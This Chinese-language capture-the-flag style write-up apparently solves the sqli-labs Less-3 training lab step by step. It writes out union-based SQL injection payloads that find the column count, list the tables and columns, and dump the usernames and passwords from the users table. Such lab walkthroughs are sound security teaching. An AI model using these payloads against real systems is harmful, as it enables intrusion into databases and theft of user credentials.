[网络安全]sqli-labs Less-3 解题详析

判断注入类型

GET1' and '1'='1,回显如下:
GET1' and '1'='2
没有回显,说明该漏洞类型为GET型单引号字符型注入

判断注入点个数

GET1' order by 2 --+,回显如下:

由上图可知,sql语法中给$id加上了()

猜测后端语句为SELECT * FROM xx where id=('$id')

故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=('1') order by 3 --+')

SELECT * FROM xx where id=('-1') order by 3

GET1') order by 4 --+

GET1') order by 3 --+
故注入点为3个

查库名

GET-1') union select 1,2,database(); --+

回显库名security

查表名

复制代码
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显四个表名

查users表的列名

复制代码
-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

查字段

复制代码
-1') union select 1,group_concat(username),group_concat(password) from security.users; --+
相关推荐
nanzhuhe5 分钟前
sql中group by使用场景
数据库·sql·数据挖掘
消失在人海中14 分钟前
oracle sql 语句 优化方法
数据库·sql·oracle
Clang's Blog18 分钟前
一键搭建 WordPress + MySQL + phpMyAdmin 环境(支持 PHP 版本选择 & 自定义配置)
数据库·mysql·php·wordpr
zzc92123 分钟前
MATLAB仿真生成无线通信网络拓扑推理数据集
开发语言·网络·数据库·人工智能·python·深度学习·matlab
未来之窗软件服务44 分钟前
JAVASCRIPT 前端数据库-V1--仙盟数据库架构-—-—仙盟创梦IDE
数据库·数据库架构·仙盟创梦ide·东方仙盟数据库
LjQ20401 小时前
网络爬虫一课一得
开发语言·数据库·python·网络爬虫
Guheyunyi1 小时前
监测预警系统重塑隧道安全新范式
大数据·运维·人工智能·科技·安全
烙印6011 小时前
MyBatis原理剖析(二)
java·数据库·mybatis
RestCloud1 小时前
如何通过ETLCloud实现跨系统数据同步?
数据库·数据仓库·mysql·etl·数据处理·数据同步·集成平台
你是狒狒吗1 小时前
TM中,return new TransactionManagerImpl(raf, fc);为什么返回是new了一个新的实例
java·开发语言·数据库